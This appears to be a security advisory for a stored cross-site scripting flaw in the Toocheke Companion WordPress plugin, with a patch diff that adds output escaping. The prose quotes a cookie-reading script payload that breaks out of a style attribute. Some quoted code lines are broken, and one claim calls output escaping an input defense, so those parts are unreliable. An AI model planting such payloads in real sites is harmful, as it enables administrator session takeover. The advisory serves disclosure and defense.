Published : August 15, 2026

CVE-2026-15604: Toocheke Companion <= 2.10 Authenticated (Contributor+) Stored Cross-Site Scripting via 'series_bg_color' Post Meta PoC, Patch Analysis & Rule

CVE ID CVE-2026-15604
Plugin toocheke-companion
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.10
Patched Version 2.11
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15604:

The Toocheke Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 2.10. This vulnerability affects the ‘series_bg_color’ post meta field, which is output in the series admin column list table. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when an administrator views the series list in the wp-admin dashboard. The vulnerability has a CVSS score of 6.4 and is classified under CWE-79.

The root cause lies in two distinct deficiencies in the plugin’s code. First, the input sanitization is insufficient in the toocheke_series_bg_color_save() function, which stores the raw $_POST value directly into the post meta without proper sanitization. Second, the output escaping is inadequate in the admin column rendering code within the class-toocheke-companion-admin-columns.php file. Specifically, the vulnerable code path is in the ‘series_bg_color’ case of the column rendering switch statement, where the stored value is concatenated directly into a style attribute in the line $color_box = ‘

‘;. This value is not passed through esc_attr() or any other output escaping function, allowing an attacker-supplied value to break out of the HTML attribute context.

An attacker with contributor-level access can exploit this vulnerability by editing a series post and inserting a crafted payload into the ‘series_bg_color’ meta field. Since the save function does not sanitize the input, a value like “);

alert(document.cookie)<div style=" background-color: red; can be stored. When an administrator subsequently views the series list table in the WordPress admin dashboard, the vulnerable code outputs this value directly into the style attribute. The payload breaks out of the attribute and injects a script tag, which the browser executes in the context of the administrator's session. The attack requires no special tricks; the attacker simply uses the standard WordPress post editor or the REST API to submit a series with the malicious meta value.

The patch modifies the vulnerable output line in class-toocheke-companion-admin-columns.php. The updated code uses esc_attr() on the retrieved meta value before concatenating it into the style attribute: $color_box = '

‘;. Additionally, the output is wrapped in wp_kses_post() to allow only a safe subset of HTML elements and attributes. The patch also includes defenses for the input side, using functions like esc_url() for image URLs, esc_html() for term names, and absint() for numeric fields. The change to the save function is not shown in the provided diff, but the output escaping alone prevents the payload from being interpreted as executable HTML. The before behavior allowed raw HTML injection; the after behavior encodes all special characters, rendering the payload as inert text.

The impact of successful exploitation is significant. An attacker can execute arbitrary JavaScript in the context of an authenticated administrator’s browser session within the WordPress admin dashboard. This allows the attacker to perform actions as the administrator, such as creating new administrative accounts, modifying site content, installing malicious plugins, or exfiltrating sensitive data like session cookies. The attack can be used to achieve full site compromise, turning a low-privilege contributor account into a complete administrative takeover of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/toocheke-companion/inc/class-gamajo-template-loader.php
+++ b/toocheke-companion/inc/class-gamajo-template-loader.php
@@ -1,4 +1,7 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
 /**
  * Template Loader for Plugins.
  *
--- a/toocheke-companion/inc/class-toocheke-companion-admin-columns.php
+++ b/toocheke-companion/inc/class-toocheke-companion-admin-columns.php
@@ -226,9 +226,9 @@
                 $terms_list = get_the_terms($id, 'series_tags');
                 if (! empty($terms_list) && ! isset($terms_list->errors)) {
                     foreach ($terms_list as $term) {
-                        $tags_list[] = '<a href="' . admin_url('/edit.php?post_type=series&series_tags=' . $term->slug) . '">' . $term->name . '</a>';
+                        $tags_list[] = '<a href="' . esc_url(admin_url('/edit.php?post_type=series&series_tags=' . $term->slug)) . '">' . esc_html($term->name) . '</a>';
                     }
-                    echo join(', ', $tags_list);
+                    echo wp_kses_post(join(', ', $tags_list));
                 }
                 break;
             case 'series_thumbnail':
@@ -237,12 +237,12 @@
                     $post_thumbnail_img     = wp_get_attachment_image_src($post_thumbnail_id, 'featured_preview');
                     $post_thumbnail_img_src = $post_thumbnail_img[0];
                     if ($post_thumbnail_img_src) {
-                        echo '<img src="' . $post_thumbnail_img_src . '" class="series-thumbnail" />';
+                        echo '<img src="' . esc_url($post_thumbnail_img_src) . '" class="series-thumbnail" />';
                     } else {
-                        echo '<img src="' . plugins_url('toocheke-companion' . '/img/no-image.png') . '" class="series-thumbnail" />';
+                        echo '<img src="' . esc_url(plugins_url('toocheke-companion' . '/img/no-image.png')) . '" class="series-thumbnail" />';
                     }
                 } else {
-                    echo '<img src="' . plugins_url('toocheke-companion' . '/img/no-image.png') . '" class="series-thumbnail" />';
+                    echo '<img src="' . esc_url(plugins_url('toocheke-companion' . '/img/no-image.png')) . '" class="series-thumbnail" />';
                 }
                 break;
             case 'series_hero':
@@ -252,12 +252,12 @@
                     $post_hero_img     = wp_get_attachment_image_src($post_hero_id, 'featured_preview');
                     $post_hero_img_src = $post_hero_img[0];
                     if ($post_hero_img_src) {
-                        echo '<img src="' . $post_hero_img_src . '" class="series-hero" />';
+                        echo '<img src="' . esc_url($post_hero_img_src) . '" class="series-hero" />';
                     } else {
-                        echo '<img src="' . plugins_url('toocheke-companion' . '/img/no-image.png') . '" class="series-hero" />';
+                        echo '<img src="' . esc_url(plugins_url('toocheke-companion' . '/img/no-image.png')) . '" class="series-hero" />';
                     }
                 } else {
-                    echo '<img src="' . plugins_url('toocheke-companion' . '/img/no-image.png') . '" class="series-hero" />';
+                    echo '<img src="' . esc_url(plugins_url('toocheke-companion' . '/img/no-image.png')) . '" class="series-hero" />';
                 }
                 break;
             case 'series_mobile_hero':
@@ -267,12 +267,12 @@
                     $post_hero_img     = wp_get_attachment_image_src($post_hero_id, 'featured_preview');
                     $post_hero_img_src = $post_hero_img[0];
                     if ($post_hero_img_src) {
-                        echo '<img src="' . $post_hero_img_src . '" class="series-hero" />';
+                        echo '<img src="' . esc_url($post_hero_img_src) . '" class="series-hero" />';
                     } else {
-                        echo '<img src="' . plugins_url('toocheke-companion' . '/img/no-image.png') . '" class="series-hero" />';
+                        echo '<img src="' . esc_url(plugins_url('toocheke-companion' . '/img/no-image.png')) . '" class="series-hero" />';
                     }
                 } else {
-                    echo '<img src="' . plugins_url('toocheke-companion' . '/img/no-image.png') . '" class="series-hero" />';
+                    echo '<img src="' . esc_url(plugins_url('toocheke-companion' . '/img/no-image.png')) . '" class="series-hero" />';
                 }
                 break;
             case 'series_bg_img':
@@ -282,19 +282,19 @@
                     $post_bg_img     = wp_get_attachment_image_src($post_bg_id, 'featured_preview');
                     $post_bg_img_src = $post_bg_img[0];
                     if ($post_bg_img_src) {
-                        echo '<img src="' . $post_bg_img_src . '" class="series-bg" />';
+                        echo '<img src="' . esc_url($post_bg_img_src) . '" class="series-bg" />';
                     } else {
-                        echo '<img src="' . plugins_url('toocheke-companion' . '/img/no-image.png') . '" class="series-bg" />';
+                        echo '<img src="' . esc_url(plugins_url('toocheke-companion' . '/img/no-image.png')) . '" class="series-bg" />';
                     }
                 } else {
-                    echo '<img src="' . plugins_url('toocheke-companion' . '/img/no-image.png') . '" class="series-bg" />';
+                    echo '<img src="' . esc_url(plugins_url('toocheke-companion' . '/img/no-image.png')) . '" class="series-bg" />';
                 }
                 break;
             case 'series_bg_color':
                 $bg_color = get_post_meta($id, 'series_bg_color');
                 if (! empty($bg_color) && ! isset($bg_color->errors)) {
-                    $color_box = '<div class="color-box" style="background-color: ' . $bg_color[0] . '"></div>';
-                    echo $color_box;
+                    $color_box = '<div class="color-box" style="background-color: ' . esc_attr($bg_color[0]) . '"></div>';
+                    echo wp_kses_post($color_box);
                 }
                 break;

@@ -311,23 +311,23 @@
                 $terms_list = get_the_terms($id, 'manga_genre');
                 if (! empty($terms_list) && ! isset($terms_list->errors)) {
                     foreach ($terms_list as $term) {
-                        $genres_list[] = '<a href="' . admin_url('edit.php?post_type=manga_series&manga_genre=' . $term->slug) . '">' . $term->name . '</a>';
+                        $genres_list[] = '<a href="' . esc_url(admin_url('edit.php?post_type=manga_series&manga_genre=' . $term->slug)) . '">' . esc_html($term->name) . '</a>';
                     }
-                    echo join(', ', $genres_list);
+                    echo wp_kses_post(join(', ', $genres_list));
                 }
                 break;
             case 'manga_series_publishers':
                 $terms_list = get_the_terms($id, 'manga_publisher');
                 if (! empty($terms_list) && ! isset($terms_list->errors)) {
                     foreach ($terms_list as $term) {
-                        $publishers_list[] = '<a href="' . admin_url('/edit.php?post_type=manga_series&manga_publisher=' . $term->slug) . '">' . $term->name . '</a>';
+                        $publishers_list[] = '<a href="' . esc_url(admin_url('/edit.php?post_type=manga_series&manga_publisher=' . $term->slug)) . '">' . esc_html($term->name) . '</a>';
                     }
-                    echo join(', ', $publishers_list);
+                    echo wp_kses_post(join(', ', $publishers_list));
                 }
                 break;
             case 'manga_series_likes':
                 if (get_post_meta($id, "_post_like_count", true)) {
-                    echo get_post_meta($id, "_post_like_count", true);
+                    echo esc_html(get_post_meta($id, "_post_like_count", true));
                 } else {
                     echo '<span aria-hidden="true">—</span>';
                 }
@@ -364,7 +364,7 @@
                 break;
             case 'manga_volume_likes':
                 if (get_post_meta($post_id, "_post_like_count", true)) {
-                    echo get_post_meta($post_id, "_post_like_count", true);
+                    echo esc_html(get_post_meta($post_id, "_post_like_count", true));
                 } else {
                     echo '<span aria-hidden="true">—</span>';
                 }
@@ -411,14 +411,14 @@
                 break;
             case 'manga_chapter_likes':
                 if (get_post_meta($post_id, "_post_like_count", true)) {
-                    echo get_post_meta($post_id, "_post_like_count", true);
+                    echo esc_html(get_post_meta($post_id, "_post_like_count", true));
                 } else {
                     echo '<span aria-hidden="true">—</span>';
                 }
                 break;
             case 'manga_chapter_views':
                 if (get_post_meta($post_id, "post_views_count", true)) {
-                    echo get_post_meta($post_id, "post_views_count", true);
+                    echo esc_html(get_post_meta($post_id, "post_views_count", true));
                 } else {
                     echo '<span aria-hidden="true">—</span>';
                 }
@@ -437,18 +437,18 @@
                 $terms_list = get_the_terms($id, 'comic_characters');
                 if (! empty($terms_list) && ! isset($terms_list->errors)) {
                     foreach ($terms_list as $term) {
-                        $character_list[] = '<a href="' . admin_url('edit.php?post_type=comic&comic_characters=' . $term->slug) . '">' . $term->name . '</a>';
+                        $character_list[] = '<a href="' . esc_url(admin_url('edit.php?post_type=comic&comic_characters=' . $term->slug)) . '">' . esc_html($term->name) . '</a>';
                     }
-                    echo join(', ', $character_list);
+                    echo wp_kses_post(join(', ', $character_list));
                 }
                 break;
             case 'comic_locations':
                 $terms_list = get_the_terms($id, 'comic_locations');
                 if (! empty($terms_list) && ! isset($terms_list->errors)) {
                     foreach ($terms_list as $term) {
-                        $locations_list[] = '<a href="' . admin_url('/edit.php?post_type=comic&comic_locations=' . $term->slug) . '">' . $term->name . '</a>';
+                        $locations_list[] = '<a href="' . esc_url(admin_url('/edit.php?post_type=comic&comic_locations=' . $term->slug)) . '">' . esc_html($term->name) . '</a>';
                     }
-                    echo join(', ', $locations_list);
+                    echo wp_kses_post(join(', ', $locations_list));
                 }
                 break;
             case 'comic_thumbnail':
@@ -456,7 +456,7 @@
                 break;
             case 'comic_likes':
                 if (get_post_meta($id, "_post_like_count", true)) {
-                    echo get_post_meta($id, "_post_like_count", true);
+                    echo esc_html(get_post_meta($id, "_post_like_count", true));
                 } else {
                     echo '<span aria-hidden="true">—</span>';
                 }
@@ -464,7 +464,7 @@
                 break;
             case 'comic_views':
                 if (get_post_meta($id, "post_views_count", true)) {
-                    echo get_post_meta($id, "post_views_count", true);
+                    echo esc_html(get_post_meta($id, "post_views_count", true));
                 } else {
                     echo '<span aria-hidden="true">—</span>';
                 }
@@ -474,16 +474,16 @@
                 $terms_list = get_the_terms($id, 'comic_tags');
                 if (! empty($terms_list) && ! isset($terms_list->errors)) {
                     foreach ($terms_list as $term) {
-                        $tags_list[] = '<a href="' . admin_url('/edit.php?post_type=comic&comic_tags=' . $term->slug) . '">' . $term->name . '</a>';
+                        $tags_list[] = '<a href="' . esc_url(admin_url('/edit.php?post_type=comic&comic_tags=' . $term->slug)) . '">' . esc_html($term->name) . '</a>';
                     }
-                    echo join(', ', $tags_list);
+                    echo wp_kses_post(join(', ', $tags_list));
                 }
                 break;
             case 'comic_series':
                 $ancestors     = get_ancestors($id, 'series');
                 $post_ancestor = end($ancestors);
                 if ($post_ancestor != 0) {
-                    echo '<a href="' . admin_url('/edit.php?post_type=comic&post_parent=' . $post_ancestor) . '">' . get_the_title($post_ancestor) . '</a>';
+                    echo '<a href="' . esc_url(admin_url('/edit.php?post_type=comic&post_parent=' . $post_ancestor)) . '">' . esc_html(get_the_title($post_ancestor)) . '</a>';
                 } else {
                     echo '—';
                 }
--- a/toocheke-companion/inc/class-toocheke-companion-bluesky.php
+++ b/toocheke-companion/inc/class-toocheke-companion-bluesky.php
@@ -161,10 +161,10 @@
             add_settings_section('toocheke_bluesky_posting_section', 'Automatic Posting', [$this, 'toocheke_bluesky_posting_section_message'], 'toocheke-options-page');

             add_settings_field('toocheke-bluesky-enable-comics', 'Post comics to Bluesky?', [$this, 'toocheke_bluesky_enable_comics_checkbox'], 'toocheke-options-page', 'toocheke_bluesky_posting_section');
-            register_setting('toocheke-settings', 'toocheke-bluesky-enable-comics');
+            register_setting('toocheke-settings', 'toocheke-bluesky-enable-comics', ['sanitize_callback' => 'absint']);

             add_settings_field('toocheke-bluesky-enable-manga-chapters', 'Post manga chapters to Bluesky?', [$this, 'toocheke_bluesky_enable_manga_checkbox'], 'toocheke-options-page', 'toocheke_bluesky_posting_section');
-            register_setting('toocheke-settings', 'toocheke-bluesky-enable-manga-chapters');
+            register_setting('toocheke-settings', 'toocheke-bluesky-enable-manga-chapters', ['sanitize_callback' => 'absint']);

             $this->toocheke_bluesky_register_filter_fields('auto', 'toocheke_bluesky_posting_section');
         }
@@ -174,7 +174,7 @@
             add_settings_section('toocheke_bluesky_format_section', 'Post Format', [$this, 'toocheke_bluesky_format_section_message'], 'toocheke-options-page');

             add_settings_field('toocheke-bluesky-post-format', 'How should posts appear on Bluesky?', [$this, 'toocheke_bluesky_post_format_radio'], 'toocheke-options-page', 'toocheke_bluesky_format_section');
-            register_setting('toocheke-settings', 'toocheke-bluesky-post-format');
+            register_setting('toocheke-settings', 'toocheke-bluesky-post-format', ['sanitize_callback' => 'sanitize_text_field']);

             add_settings_field('toocheke-bluesky-message-template', 'Message Template', [$this, 'toocheke_bluesky_message_template_field'], 'toocheke-options-page', 'toocheke_bluesky_format_section');
             register_setting('toocheke-settings', 'toocheke-bluesky-message-template', ['sanitize_callback' => 'sanitize_textarea_field']);
@@ -188,14 +188,14 @@
             add_settings_section('toocheke_bluesky_random_section', 'Random Archive Posting', [$this, 'toocheke_bluesky_random_section_message'], 'toocheke-options-page');

             add_settings_field('toocheke-bluesky-random-comics', 'Randomly re-post comics from the archive?', [$this, 'toocheke_bluesky_random_comics_checkbox'], 'toocheke-options-page', 'toocheke_bluesky_random_section');
-            register_setting('toocheke-settings', 'toocheke-bluesky-random-comics');
+            register_setting('toocheke-settings', 'toocheke-bluesky-random-comics', ['sanitize_callback' => 'absint']);

             add_settings_field('toocheke-bluesky-random-manga-chapters', 'Randomly re-post manga chapters from the archive?', [$this, 'toocheke_bluesky_random_manga_checkbox'], 'toocheke-options-page', 'toocheke_bluesky_random_section');
-            register_setting('toocheke-settings', 'toocheke-bluesky-random-manga-chapters');
+            register_setting('toocheke-settings', 'toocheke-bluesky-random-manga-chapters', ['sanitize_callback' => 'absint']);

             add_settings_field('toocheke-bluesky-random-frequency', 'Post every...', [$this, 'toocheke_bluesky_random_frequency_field'], 'toocheke-options-page', 'toocheke_bluesky_random_section');
-            register_setting('toocheke-settings', 'toocheke-bluesky-random-frequency-number');
-            register_setting('toocheke-settings', 'toocheke-bluesky-random-frequency-unit');
+            register_setting('toocheke-settings', 'toocheke-bluesky-random-frequency-number', ['sanitize_callback' => 'absint']);
+            register_setting('toocheke-settings', 'toocheke-bluesky-random-frequency-unit', ['sanitize_callback' => 'sanitize_text_field']);

             $this->toocheke_bluesky_register_filter_fields('random', 'toocheke_bluesky_random_section');
         }
@@ -343,7 +343,7 @@
                     $option_name  = "toocheke-bluesky-{$context}-{$type}-filter-{$key}";
                     $selected_ids = array_map('absint', (array) get_option($option_name, []));
                     ?>
-                    <details class="toocheke-bluesky-filter-group"<?php echo $selected_ids ? ' open' : ''; ?>>
+                    <details class="toocheke-bluesky-filter-group"<?php echo esc_attr($selected_ids ? ' open' : ''); ?>>
                         <summary>
                             <?php
                             printf(
@@ -363,7 +363,7 @@
                                 $item_title = isset($item->post_title) ? $item->post_title : $item->name;
                                 $is_selected = in_array($item_id, $selected_ids, true);
                                 ?>
-                                <label class="toocheke-pill<?php echo $is_selected ? ' is-selected' : ''; ?>">
+                                <label class="toocheke-pill<?php echo esc_attr($is_selected ? ' is-selected' : ''); ?>">
                                     <input type="checkbox" name="<?php echo esc_attr($option_name); ?>[]" value="<?php echo esc_attr($item_id); ?>" <?php checked($is_selected); ?> />
                                     <?php echo esc_html($item_title); ?>
                                 </label>
@@ -511,6 +511,7 @@
                     <?php
                     printf(
                         wp_kses(
+                            /* translators: %s: app passwords settings URL */
                             __('Bluesky is not connected yet. Add your handle and app password above — you can create an app password <a href="%s" target="_blank" rel="noopener noreferrer">here</a>.', 'toocheke-companion'),
                             ['a' => ['href' => [], 'target' => [], 'rel' => []]]
                         ),
@@ -1977,20 +1978,20 @@

         $file_size = filesize($tmp_file);
         if (false === $file_size || $file_size < 100) {
-            @unlink($tmp_file);
+            wp_delete_file( $tmp_file );
             return new WP_Error('toocheke_bluesky_image_empty', 'Downloaded image was empty or unreadable.');
         }

         // Bluesky's blob size limit is 1MB; stay a little under it for safety.
         if ($file_size > 976 * 1024) {
-            @unlink($tmp_file);
+            wp_delete_file( $tmp_file );
             return new WP_Error('toocheke_bluesky_image_too_large', 'Image exceeds Bluesky's 1MB image limit (' . round($file_size / 1024) . 'KB).');
         }

         $image_info = @getimagesize($tmp_file);
         $mime       = $image_info['mime'] ?? 'image/jpeg';
         $image_data = file_get_contents($tmp_file);
-        @unlink($tmp_file);
+        wp_delete_file( $tmp_file );

         if (! $image_data) {
             return new WP_Error('toocheke_bluesky_image_read', 'Could not read the downloaded image.');
@@ -2102,7 +2103,7 @@
                     printf(
                         /* translators: %d: number of errors */
                         esc_html(_n('%d Bluesky posting error has occurred:', '%d Bluesky posting errors have occurred:', $count, 'toocheke-companion')),
-                        $count
+                        absint($count)
                     );
                     ?>
                 </strong>
--- a/toocheke-companion/inc/class-toocheke-companion-comic-sort-filter.php
+++ b/toocheke-companion/inc/class-toocheke-companion-comic-sort-filter.php
@@ -230,7 +230,7 @@
                     foreach ($series_posts as $series) {
                         printf(
                             '<option value="%d"%s>%s</option>',
-                            $series->ID,
+                            absint($series->ID),
                             selected($selected_series, $series->ID, false),
                             esc_html($series->post_title)
                         );
--- a/toocheke-companion/inc/class-toocheke-companion-frontend-display.php
+++ b/toocheke-companion/inc/class-toocheke-companion-frontend-display.php
@@ -1,1124 +1,1128 @@
-<?php
-/**
- * Front-end behavior that doesn't belong to a more specific file: enqueuing
- * scripts/styles (including the manga reader's Swiper/fullscreen scripts),
- * template selection for single comic/manga views, comment handling, search,
- * view counts, hovertext on comic images, and related content filters.
- *
- * Used by {@see Toocheke_Companion_Comic_Features} in toocheke-companion.php,
- * which `use`s this trait alongside the others in /inc.
- */
-
-if (!defined('ABSPATH')) { exit; }
-
-trait Toocheke_Companion_Frontend_Display
-{
-            /* Social Sharing Functions */
-
-            public function toocheke_add_sharing_icons()
-            {
-                $allowed_tags = [
-                    'a'    => [
-                        'title' => [],
-                        'href'  => [],
-                    ],
-                    'i'    => [
-                        'class' => [],
-                    ],
-                    'img'  => [
-                        'class' => [],
-                        'src'   => [],
-                    ],
-                    'svg'  => [
-                        'xmlns'       => [],
-                        'fill'        => [],
-                        'viewbox'     => [],
-                        'role'        => [],
-                        'aria-hidden' => [],
-                        'focusable'   => [],
-                    ],
-                    'path' => [
-                        'd'    => [],
-                        'fill' => [],
-                    ],
-                ];
-                //custom button icons
-                $display_default_button = get_option('toocheke-comics-navigation') && 1 == get_option('toocheke-comics-navigation');
-
-                $facebook_image_button_url = get_option('toocheke-facebook-button');
-                $facebook_button           = $display_default_button ? '<i class="fab fa-lg fa-facebook-f" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($facebook_image_button_url) . '" />';
-                $twitter_image_button_url  = get_option('toocheke-twitter-button');
-                $twitter_button            = $display_default_button ? '<i class="fab fa-lg fa-x-twitter" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($twitter_image_button_url) . '" />';
-                $tumblr_image_button_url   = get_option('toocheke-tumblr-button');
-                $tumblr_button             = $display_default_button ? '<i class="fab fa-lg fa-tumblr" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($tumblr_image_button_url) . '" />';
-                $reddit_image_button_url   = get_option('toocheke-reddit-button');
-                $reddit_button             = $display_default_button ? '<i class="fab fa-lg fa-reddit-alien" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($reddit_image_button_url) . '" />';
-                $copy_image_button_url     = get_option('toocheke-copy-button');
-                $copy_button               = $display_default_button ? '<i class="fas fa-lg fa-copy" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($copy_image_button_url) . '" />';
-                $threads_image_button_url  = get_option('toocheke-threads-button');
-                $threads_button            = $display_default_button ? '<i class="fab fa-lg fa-threads" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($threads_image_button_url) . '" />';
-                $bluesky_image_button_url  = get_option('toocheke-bluesky-button');
-                $bluesky_button            = $display_default_button ? '<i class="fab fa-lg fa-bluesky" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($bluesky_image_button_url) . '" />';
-                $whatsapp_image_button_url = get_option('toocheke-whatsapp-button');
-                $whatsapp_button           = $display_default_button ? '<i class="fab fa-lg fa-whatsapp" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($whatsapp_image_button_url) . '" />';
-                $linkedin_image_button_url = get_option('toocheke-linkedin-button');
-                $linkedin_button           = $display_default_button ? '<i class="fab fa-lg fa-linkedin" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($linkedin_image_button_url) . '" />';
-
-                $html         = "";
-                $comic_url    = home_url($_SERVER['REQUEST_URI']);
-                $social_url   = urlencode(home_url($_SERVER['REQUEST_URI']));
-                $social_title = urlencode(html_entity_decode(get_the_title(), ENT_COMPAT, 'UTF-8'));
-                $social_media = urlencode(get_the_post_thumbnail_url(get_the_ID(), 'full'));
-                $facebook_url = 'https://www.facebook.com/sharer?u=' . $social_url . '&t=' . $social_title;
-                $twitter_url  = 'https://twitter.com/intent/tweet?text=' . $social_title . '&url=' . $social_url;
-                $tumblr_url   = 'https://tumblr.com/widgets/share/tool?canonicalUrl=' . $social_url;
-                $reddit_url   = 'https://www.reddit.com/submit?url=' . $social_url . '&title=' . $social_title;
-                $threads_url  = 'https://threads.net/intent/post?text=' . $social_title . ' ' . $social_url;
-                $bluesky_url  = 'https://bsky.app/intent/compose?text=' . $social_title . ' ' . $social_url;
-                $whatsapp_url = 'https://api.whatsapp.com/send?text=' . $social_title . ' ' . $social_url;
-                $linkedin_url = 'https://www.linkedin.com/sharing/share-offsite/?url=' . $social_url;
-
-                if (get_option("toocheke-social-share-facebook") == 1) {
-                    $html = $html . "<a href='" . esc_url($facebook_url) . "' title='Share on Facebook' target='_blank'>" . wp_kses($facebook_button, $allowed_tags) . "</a>";
-                }
-
-                if (get_option("toocheke-social-share-twitter") == 1) {
-                    $html = $html . "<a href='" . esc_url($twitter_url) . "' title='Share on Twitter' target='_blank'>" . wp_kses($twitter_button, $allowed_tags) . "</a>";
-                }
-
-                if (get_option("toocheke-social-share-tumblr") == 1) {
-                    $html = $html . "<a href='" . esc_url($tumblr_url) . "' title='Share on Tumblr' target='_blank'>" . wp_kses($tumblr_button, $allowed_tags) . "</a>";
-                }
-
-                if (get_option("toocheke-social-share-reddit") == 1) {
-                    $html = $html . "<a href='" . esc_url($reddit_url) . "' title='Share on Reddit' target='_blank'>" . wp_kses($reddit_button, $allowed_tags) . "</a>";
-                }
-
-                if (get_option("toocheke-social-share-threads") == 1) {
-                    $html = $html . "<a href='" . esc_url($threads_url) . "' title='Share on Threads' target='_blank'>" . wp_kses($threads_button, $allowed_tags) . "</a>";
-                }
-                if (get_option("toocheke-social-share-bluesky") == 1) {
-                    $html = $html . "<a href='" . esc_url($bluesky_url) . "' title='Share on Bluesky' target='_blank'>" . wp_kses($bluesky_button, $allowed_tags) . "</a>";
-                }
-                if (get_option("toocheke-social-share-whatsapp") == 1) {
-                    $html = $html . "<a href='" . esc_url($whatsapp_url) . "' title='Share on WhatsApp' target='_blank'>" . wp_kses($whatsapp_button, $allowed_tags) . "</a>";
-                }
-                if (get_option("toocheke-social-share-linkedin") == 1) {
-                    $html = $html . "<a href='" . esc_url($linkedin_url) . "' title='Share on LinkedIn' target='_blank'>" . wp_kses($linkedin_button, $allowed_tags) . "</a>";
-                }
-                if (get_option("toocheke-social-share-copy") == 1) {
-                    $html = $html . "<a id='copy-link' data-url='" . esc_url($comic_url) . "' href='javascript:;' title='Copy link'>" . wp_kses($copy_button, $allowed_tags) . "</a>";
-                }
-
-                echo $html;
-            }
-
-            /* Support Link Functions */
-            public function toocheke_add_support_icons()
-            {
-                $allowed_tags = [
-                    'a'    => [
-                        'title' => [],
-                        'href'  => [],
-                    ],
-                    'i'    => [
-                        'class' => [],
-                    ],
-                    'img'  => [
-                        'class' => [],
-                        'src'   => [],
-                    ],
-                    'svg'  => [
-                        'xmlns'       => [],
-                        'fill'        => [],
-                        'viewbox'     => [],
-                        'role'        => [],
-                        'aria-hidden' => [],
-                        'focusable'   => [],
-                    ],
-                    'path' => [
-                        'd'    => [],
-                        'fill' => [],
-                    ],
-                ];
-                //custom button icons
-                $display_default_button = get_option('toocheke-comics-navigation') && 1 == get_option('toocheke-comics-navigation');
-
-                $buymeacoffee_image_button_url = get_option('toocheke-buymeacoffee-button');
-                $buymeacoffee_button           = $display_default_button ? '<svg fill="#000000" width="800px" height="800px" viewBox="0 0 24 24" role="img" xmlns="http://www.w3.org/2000/svg"><path d="m20.216 6.415-.132-.666c-.119-.598-.388-1.163-1.001-1.379-.197-.069-.42-.098-.57-.241-.152-.143-.196-.366-.231-.572-.065-.378-.125-.756-.192-1.133-.057-.325-.102-.69-.25-.987-.195-.4-.597-.634-.996-.788a5.723 5.723 0 0 0-.626-.194c-1-.263-2.05-.36-3.077-.416a25.834 25.834 0 0 0-3.7.062c-.915.083-1.88.184-2.75.5-.318.116-.646.256-.888.501-.297.302-.393.77-.177 1.146.154.267.415.456.692.58.36.162.737.284 1.123.366 1.075.238 2.189.331 3.287.37 1.218.05 2.437.01 3.65-.118.299-.033.598-.073.896-.119.352-.054.578-.513.474-.834-.124-.383-.457-.531-.834-.473-.466.074-.96.108-1.382.146-1.177.08-2.358.082-3.536.006a22.228 22.228 0 0 1-1.157-.107c-.086-.01-.18-.025-.258-.036-.243-.036-.484-.08-.724-.13-.111-.027-.111-.185 0-.212h.005c.277-.06.557-.108.838-.147h.002c.131-.009.263-.032.394-.048a25.076 25.076 0 0 1 3.426-.12c.674.019 1.347.067 2.017.144l.228.031c.267.04.533.088.798.145.392.085.895.113 1.07.542.055.137.08.288.111.431l.319 1.484a.237.237 0 0 1-.199.284h-.003c-.037.006-.075.01-.112.015a36.704 36.704 0 0 1-4.743.295 37.059 37.059 0 0 1-4.699-.304c-.14-.017-.293-.042-.417-.06-.326-.048-.649-.108-.973-.161-.393-.065-.768-.032-1.123.161-.29.16-.527.404-.675.701-.154.316-.199.66-.267 1-.069.34-.176.707-.135 1.056.087.753.613 1.365 1.37 1.502a39.69 39.69 0 0 0 11.343.376.483.483 0 0 1 .535.53l-.071.697-1.018 9.907c-.041.41-.047.832-.125 1.237-.122.637-.553 1.028-1.182 1.171-.577.131-1.165.2-1.756.205-.656.004-1.31-.025-1.966-.022-.699.004-1.556-.06-2.095-.58-.475-.458-.54-1.174-.605-1.793l-.731-7.013-.322-3.094c-.037-.351-.286-.695-.678-.678-.336.015-.718.3-.678.679l.228 2.185.949 9.112c.147 1.344 1.174 2.068 2.446 2.272.742.12 1.503.144 2.257.156.966.016 1.942.053 2.892-.122 1.408-.258 2.465-1.198 2.616-2.657.34-3.332.683-6.663 1.024-9.995l.215-2.087a.484.484 0 0 1 .39-.426c.402-.078.787-.212 1.074-.518.455-.488.546-1.124.385-1.766zm-1.478.772c-.145.137-.363.201-.578.233-2.416.359-4.866.54-7.308.46-1.748-.06-3.477-.254-5.207-.498-.17-.024-.353-.055-.47-.18-.22-.236-.111-.71-.054-.995.052-.26.152-.609.463-.646.484-.057 1.046.148 1.526.22.577.088 1.156.159 1.737.212 2.48.226 5.002.19 7.472-.14.45-.06.899-.13 1.345-.21.399-.072.84-.206 1.08.206.166.281.188.657.162.974a.544.544 0 0 1-.169.364zm-6.159 3.9c-.862.37-1.84.788-3.109.788a5.884 5.884 0 0 1-1.569-.217l.877 9.004c.065.78.717 1.38 1.5 1.38 0 0 1.243.065 1.658.065.447 0 1.786-.065 1.786-.065.783 0 1.434-.6 1.499-1.38l.94-9.95a3.996 3.996 0 0 0-1.322-.238c-.826 0-1.491.284-2.26.613z"/></svg>' : '<img class="comic-image-nav" src="' . esc_attr($buymeacoffee_image_button_url) . '" />';
-                $gumroad_image_button_url      = get_option('toocheke-gumroad-button');
